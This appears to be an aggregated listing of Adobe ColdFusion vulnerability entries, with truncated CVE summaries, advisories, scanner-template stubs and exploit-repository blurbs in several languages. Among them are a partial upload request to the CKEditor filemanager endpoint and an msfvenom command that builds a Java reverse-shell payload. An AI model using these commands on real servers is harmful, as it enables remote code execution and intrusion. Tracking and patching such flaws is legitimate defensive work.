CVE-2018-15961

CVE-2018-15961 Adobe ColdFusion에서의 무제한 파일 업로드 root@kitploit: POST /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 Host: coldfusion:port User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/62.0.3202.9 Safari/537.36 Content-Type:...

coldfusion-10-11-xss

Эксплойты XSS - RCE для ColdFusion 10.x 11.x PoC Этот репозиторий содержит XSS-векторы для CVE-2015-0345 APSB15-07, которые позволяют получить удаленное выполнение команд на установках ColdFusion. Этот эксплойт действителен только для установок ColdFusion 10 и 11. В частности, ColdFusion 11, Upda...

Adobe ColdFusion - Deserialization of Untrusted Data

Adobe ColdFusion versions 2018u17 and earlier, 2021u7 and earlier and 2023u1 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction. id: CVE-2023-38203 info: name:...

Adobe ColdFusion - Pre-Auth Remote Code Execution

Adobe ColdFusion versions 2018u16 and earlier, 2021u6 and earlier and 2023.0.0.330468 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction. id: CVE-2023-29300 info:...

Adobe ColdFusion - Access Control Bypass

An attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install. id: CVE-2023-29298 info: name: Adobe ColdFusion - Access Control Bypass author:...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - Эксплуатация удаленного выполнения команд RCE Обзор Данный эксплойт направлен на известную уязвимость в Adobe ColdFusion 8 CVE-2009-2265. Он обеспечивает удаленное выполнение команд RCE путем загрузки вредоносной JSP-нагрузки, устанавливающей обратную оболочку. Детали...

CVE-2009-2265

cf8-upload.py ⭐ CVE-2009-2265를 악용하는 python3 스크립트입니다. 익스플로잇 - CVE-2009-2265 ❗ 이 스크립트는 adobe coldfusion 8.0.1에 포함된 FCKeditor 2.6.4.1에서 발견된 취약점을 악용합니다: https://vulners.com/cve/CVE-2009-2265 이 스크립트는 사용자가 coldfusion 8.0.1을 실행하는 대상 컴퓨터에 업로드할 파일을 제출하고 실행할 수 있게 합니다. 사전 요구사항 ✔ python3 python3용 requests 모듈...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 원격 코드 실행 때때로 스크립트가 첫 시도에 작동하지 않습니다. 작동할 때까지 몇 번 시도해 보세요 실행 방법 msfvenom으로 페이로드 생성 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py 시작하기 이 서버는 cve.2023-26360.py를 통한 초기 접근 후 Coldfusion 서버로 페이로드를 전송하므로, 먼저 초기화되어 있어야 합니다...

CVE-2026-83961

ColdFusion is affected by an Improper Authentication vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain limited read and write access. The vulnerable component is restricted to an administrative network zone by default. Exploitation of...

CVE-2026-83961 ColdFusion | Improper Authentication (CWE-287)

ColdFusion is affected by an Improper Authentication vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain limited read and write access. The vulnerable component is restricted to an administrative network zone by default. Exploitation of...

CVE-2026-83961

Adobe ColdFusion is affected by an Improper Authentication vulnerability (CWE-287) that could allow an unauthenticated attacker to escalate privileges and gain limited read and write access . By default, the vulnerable component is restricted to an administrative network zone , and exploitation r...

EUVD-2026-70530

ColdFusion is affected by an Improper Authentication vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain limited read and write access. The vulnerable component is restricted to an administrative network zone by default. Exploitation of...

CVE-2024-20767-Adobe-ColdFusion

CVE-2024-20767-Adobe-ColdFusion Adobe ColdFusion è una piattaforma di sviluppo rapido per creare e distribuire applicazioni web e mobili. CVE-2024-20767 - Le versioni di ColdFusion 2023.6, 2021.12 e precedenti sono affette da una vulnerabilità di Controllo Accesso Inadeguato che potrebbe portare...

Adobe ColdFusion - Local File Read

Unauthenticated Arbitrary File Read vulnerability due to deserialization of untrusted data in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier id: CVE-2023-26360 info: name: Adobe ColdFusion - Local File Read author:...

Adobe ColdFusion - Access Control Bypass

There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Update 8 and below and 2018 update 18 and below, which allows a remote attacker to bypass the ColdFusion mechanisms that restrict unauthenticated external access to ColdFusion's Administrato...

Adobe ColdFusion - Unrestricted File Upload Remote Code Execution

Adobe ColdFusion versions July 12 release 2018.0.0.310739, Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution. id: CVE-2018-15961 info: name: Adobe ColdFusion - Unrestricted File Upload...

MINI-3CM3-CP96-CFMX

Bulletin has no description...

Adobe ColdFusion 2023.x < 2023 Update 23 / 2025.x < 2025 Update 12 Multiple Vulnerabilities (APSB26-90)

The version of Adobe ColdFusion installed on the remote Windows host is prior to 2023.x update 23 or 2025.x update 12. It is, therefore, affected by multiple vulnerabilities as referenced in the APSB26-90 advisory. - Improper Neutralization of Special Elements used in an OS Command 'OS Command...

Adobe Patches Three CVSS 10.0 ColdFusion and Campaign Classic Flaws

Adobe has shipped updates to address multiple critical security vulnerabilities impacting ColdFusion, Commerce, and Campaign Classic that, if successfully exploited, could result in arbitrary code execution and privilege escalation. The most severe of the flaws are listed below - CVE-2026-48362...

CVE-2026-71387

ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by...